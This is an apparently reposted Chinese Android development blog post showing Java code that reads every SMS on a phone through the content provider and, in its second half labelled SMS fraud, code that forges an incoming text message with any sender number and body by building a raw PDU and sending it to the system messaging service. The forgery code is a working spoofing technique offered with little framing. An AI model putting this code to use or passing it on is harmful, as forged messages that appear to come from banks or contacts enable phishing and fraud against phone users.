android 获取手机所有短信

原理是通过,contentprovider获取系统短信数据库中的字段信息而达到获取内容目的

效果图如下:


具体代码如下:

import java.text.SimpleDateFormat;
import java.util.ArrayList;
import java.util.Date;
import java.util.HashMap;
import java.util.List;
import java.util.Map;

import android.app.ListActivity;
import android.content.ContentResolver;
import android.database.Cursor;
import android.database.sqlite.SQLiteException;
import android.net.Uri;
import android.os.Bundle;
import android.provider.ContactsContract;
import android.provider.ContactsContract.CommonDataKinds.Phone;
import android.provider.ContactsContract.PhoneLookup;
import android.util.Log;
import android.widget.ListView;
import android.widget.SimpleAdapter;

public class QureSms extends ListActivity {

	ListView smslist=null;	//显示列表信息
	ArrayList<Map<String,Object>> mData= new ArrayList<Map<String,Object>>();
	List<String> title=new ArrayList<String>();	//短信来源
	List<String> text=new ArrayList<String>();	//短信内容
	  
	@Override
	protected void onCreate(Bundle savedInstanceState) {
		super.onCreate(savedInstanceState);
		smslist=getListView();
		getSmsInPhone();
		int lengh = title.size();
		for(int i =0; i < lengh; i++) {
		    Map<String,Object> item = new HashMap<String,Object>();
		    item.put("title", title.get(i));
		    item.put("text", text.get(i));
		    mData.add(item); 
		}
		SimpleAdapter adapter = new SimpleAdapter(this,mData,android.R.layout.simple_list_item_2,
				new String[]{"title","text"},new int[]{android.R.id.text1,android.R.id.text2});
		setListAdapter(adapter);
		
	}
	/**
	 * 获取手机内所以短消息
	 */
	private void getSmsInPhone(){   
	    final String SMS_URI_ALL   = "content://sms/";     
	    /*final String SMS_URI_INBOX = "content://sms/inbox";   
	    final String SMS_URI_SEND  = "content://sms/sent";   
	    final String SMS_URI_DRAFT = "content://sms/draft";  */ 
	       
	    try{   
	        ContentResolver cr = getContentResolver();   
	        String[] projection = new String[]{"_id", "address", "person",    
	                "body", "date", "type"};   
	        Uri uri = Uri.parse(SMS_URI_ALL);   
	        Cursor cur = cr.query(uri, projection, null, null, "date desc");   
	  
	        if (cur.moveToFirst()) {   
	            String name;    
	            String phoneNumber;          
	            String smsbody;   
	            String date;   
	            String type;   
	            
	        //    int nameColumn = cur.getColumnIndex("person");   
	            int phoneNumberColumn = cur.getColumnIndex("address");   
	            int smsbodyColumn = cur.getColumnIndex("body");   
	            int dateColumn = cur.getColumnIndex("date");   
	            int typeColumn = cur.getColumnIndex("type");   
	            
	           do{   
	                phoneNumber = cur.getString(phoneNumberColumn);   
	           //    name = cur.getString(nameColumn);    这样获取的联系认为空,所以我改用下面的方法获取
	                name=getPeopleNameFromPerson(phoneNumber);
	                smsbody = cur.getString(smsbodyColumn);   
	                   
	                SimpleDateFormat dateFormat = new SimpleDateFormat(   
	                        "yyyy-MM-dd hh:mm:ss");   
	                Date d = new Date(Long.parseLong(cur.getString(dateColumn)));   
	                date = dateFormat.format(d);   
	                   
	                int typeId = cur.getInt(typeColumn);   
	                if(typeId == 1){   
	                    type = "接收";   
	                } else if(typeId == 2){   
	                    type = "发送";   
	                } else {   
	                    type = "草稿";   
	                }   
	                
	                title.add(type+" "+date+'\n'+phoneNumber);
	                text.add(name+'\n'+smsbody);
	              
	                if(smsbody == null) smsbody = "";     
	            }   while(cur.moveToNext());
	        }
	        cur.close();
	        cur=null;
	    } catch(SQLiteException ex) {   
	        Log.e("SQLiteException in getSmsInPhone", ex.getMessage());   
	    }   
	    
	} 
	/**
	 * 通过address手机号关联Contacts联系人的显示名字
	 * @param address
	 * @return
	 */
			private String getPeopleNameFromPerson(String address){
				if(address == null || address == ""){
					return null;
				}
				
				String strPerson = "null";
				String[] projection = new String[] {Phone.DISPLAY_NAME, Phone.NUMBER};
				
				Uri uri_Person = Uri.withAppendedPath(ContactsContract.CommonDataKinds.Phone.CONTENT_FILTER_URI, address);	// address 手机号过滤
				Cursor cursor = getContentResolver().query(uri_Person, projection, null, null, null);
				
				if(cursor.moveToFirst()){
					int index_PeopleName = cursor.getColumnIndex(Phone.DISPLAY_NAME);
					String strPeopleName = cursor.getString(index_PeopleName);
					strPerson = strPeopleName;
				}
				else{
					strPerson = address;
				}
				cursor.close();
				cursor=null;
				return strPerson;
			}
			

}

最后添加必要权限:

<uses-permission android:name="android.permission.READ_CONTACTS" />
<uses-permission android:name="android.permission.WRITE_SMS" />
<uses-permission android:name="android.permission.READ_SMS" />



短信欺诈:本地程序可以根据sms协议及格式进行伪造短信内容的行为。

示例代码:

import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.UnsupportedEncodingException;
import java.lang.reflect.Method;
import java.util.Calendar;
import java.util.GregorianCalendar;

import android.app.Activity;
import android.content.Context;
import android.content.Intent;
import android.os.Bundle;
import android.telephony.PhoneNumberUtils;
import android.util.Log;
import android.view.View;
import android.widget.EditText;

import com.example.androidtest.R;

public class SmsCheat extends Activity{

	EditText editBody,editNum;
	@Override
	protected void onCreate(Bundle savedInstanceState) {
		setContentView(R.layout.sms_send);
		editBody=(EditText)findViewById(R.id.smsEdit);
		editNum=(EditText)findViewById(R.id.smsNumEdit);
		
		super.onCreate(savedInstanceState);
	}
	
	public void onsendClick(View view) {
		String str=editBody.getText().toString();
		String num=editNum.getText().toString();
		createFakeSms2(getApplicationContext(), num, str);
		
	}
	
	  private static void createFakeSms2(Context context, String sender, String body) {
		    
		        byte[] pdu = null;
		        byte[] scBytes = PhoneNumberUtils
		                .networkPortionToCalledPartyBCD("0000000000");
		        byte[] senderBytes = PhoneNumberUtils
		                .networkPortionToCalledPartyBCD(sender);
		        int lsmcs = scBytes.length;
		        byte[] dateBytes = new byte[7];
		        Calendar calendar = Calendar.getInstance();//new GregorianCalendar();
		     //   dateBytes[0] = reverseByte((byte) (calendar.get(Calendar.YEAR)));
		        dateBytes[1] = reverseByte((byte) (calendar.get(Calendar.MONTH) + 1));
		        dateBytes[2] = reverseByte((byte) (calendar.get(Calendar.DAY_OF_MONTH)));
		        dateBytes[3] = reverseByte((byte) (calendar.get(Calendar.HOUR_OF_DAY)));
		        dateBytes[4] = reverseByte((byte) (calendar.get(Calendar.MINUTE)));
		        dateBytes[5] = reverseByte((byte) (calendar.get(Calendar.SECOND)));
		       /* dateBytes[6] = reverseByte((byte) ((calendar.get(Calendar.ZONE_OFFSET) + calendar
		                .get(Calendar.DST_OFFSET)) / (60 * 1000 * 15)));*/
		        try {
		            ByteArrayOutputStream bo = new ByteArrayOutputStream();
		            bo.write(lsmcs);
		            bo.write(scBytes);
		            bo.write(0x04);
		            bo.write((byte) sender.length());
		            bo.write(senderBytes);
		            bo.write(0x00);
		            try {
		                String sReflectedClassName = "com.android.internal.telephony.GsmAlphabet";
		                Class cReflectedNFCExtras = Class.forName(sReflectedClassName);
		                Method stringToGsm7BitPacked = cReflectedNFCExtras.getMethod(
		                        "stringToGsm7BitPacked", new Class[] { String.class });
		                stringToGsm7BitPacked.setAccessible(true);
		                byte[] bodybytes = (byte[]) stringToGsm7BitPacked.invoke(null, body);
		                
		                bo.write(0x00); // encoding: 0 for default 7bit
		                bo.write(dateBytes);
		                bo.write(bodybytes);
		            } catch (Exception e) {
		              try {
		                // try UCS-2
		                byte[] bodybytes = encodeUCS2(body, null);
		                
		                  bo.write(0x08); // encoding: 0x08 (GSM_UCS2) for UCS-2
		                  bo.write(dateBytes);
		                bo.write(bodybytes);
		              } catch(UnsupportedEncodingException uex) {
		                Log.e("_DEBUG_", String.format("String '%s' encode unknow", body));
		              }
		            }

		            Log.d("_DEBUG_", String.format("PDU: ", bytesToHexString(bo.toByteArray())));
		            
		            pdu = bo.toByteArray();
		        } catch (IOException e) {
		        	e.printStackTrace();
		        }
		        
		        Intent intent = new Intent();
		        intent.setClassName("com.android.mms",
		                "com.android.mms.transaction.SmsReceiverService");
		        intent.setAction("android.provider.Telephony.SMS_RECEIVED");
		        intent.putExtra("pdus", new Object[] { pdu });
		        intent.putExtra("format", "3gpp");
		        context.startService(intent);
		    }
	  
	  private static byte reverseByte(byte b) {
	        return (byte) ((b & 0xF0) >> 4 | (b & 0x0F) << 4);
	    }

	    /**
	     * Packs header and UCS-2 encoded message. Includes TP-UDL & TP-UDHL if necessary
	     *
	     * @return
	     * @throws UnsupportedEncodingException
	     */
	    private static byte[] encodeUCS2(String message, byte[] header)
	        throws UnsupportedEncodingException {
	        byte[] userData, textPart;
	        textPart = message.getBytes("utf-16be");

	        if (header != null) {
	            // Need 1 byte for UDHL
	            userData = new byte[header.length + textPart.length + 1];

	            userData[0] = (byte)header.length;
	            System.arraycopy(header, 0, userData, 1, header.length);
	            System.arraycopy(textPart, 0, userData, header.length + 1, textPart.length);
	        }
	        else {
	            userData = textPart;
	        }
	        byte[] ret = new byte[userData.length+1];
	        ret[0] = (byte) (userData.length & 0xff );
	        System.arraycopy(userData, 0, ret, 1, userData.length);
	        return ret;
	    }

	    /**
	     * Change bytes to HexString
	     * @param bArray
	     * @return
	     */
	    public static final String bytesToHexString(byte[] bArray) {
	    	StringBuffer result = new StringBuffer(bArray.length);
	    	String sTemp;
	    	for (int i = 0; i < bArray.length; i++) {
	    		sTemp = Integer.toHexString(0xFF & bArray[i]);
	    		if (sTemp.length() < 2)
	    			result.append(0);
	    		result.append(sTemp.toUpperCase());
	    	}
	    	return result.toString();
	    }
}

http://stackoverflow.com/a/12338541

http://blog.dev001.net/post/14085892020/android-generate-incoming-sms-from-within-your-app



原文地址:https://www.cnblogs.com/happyxiaoyu02/p/6818969.html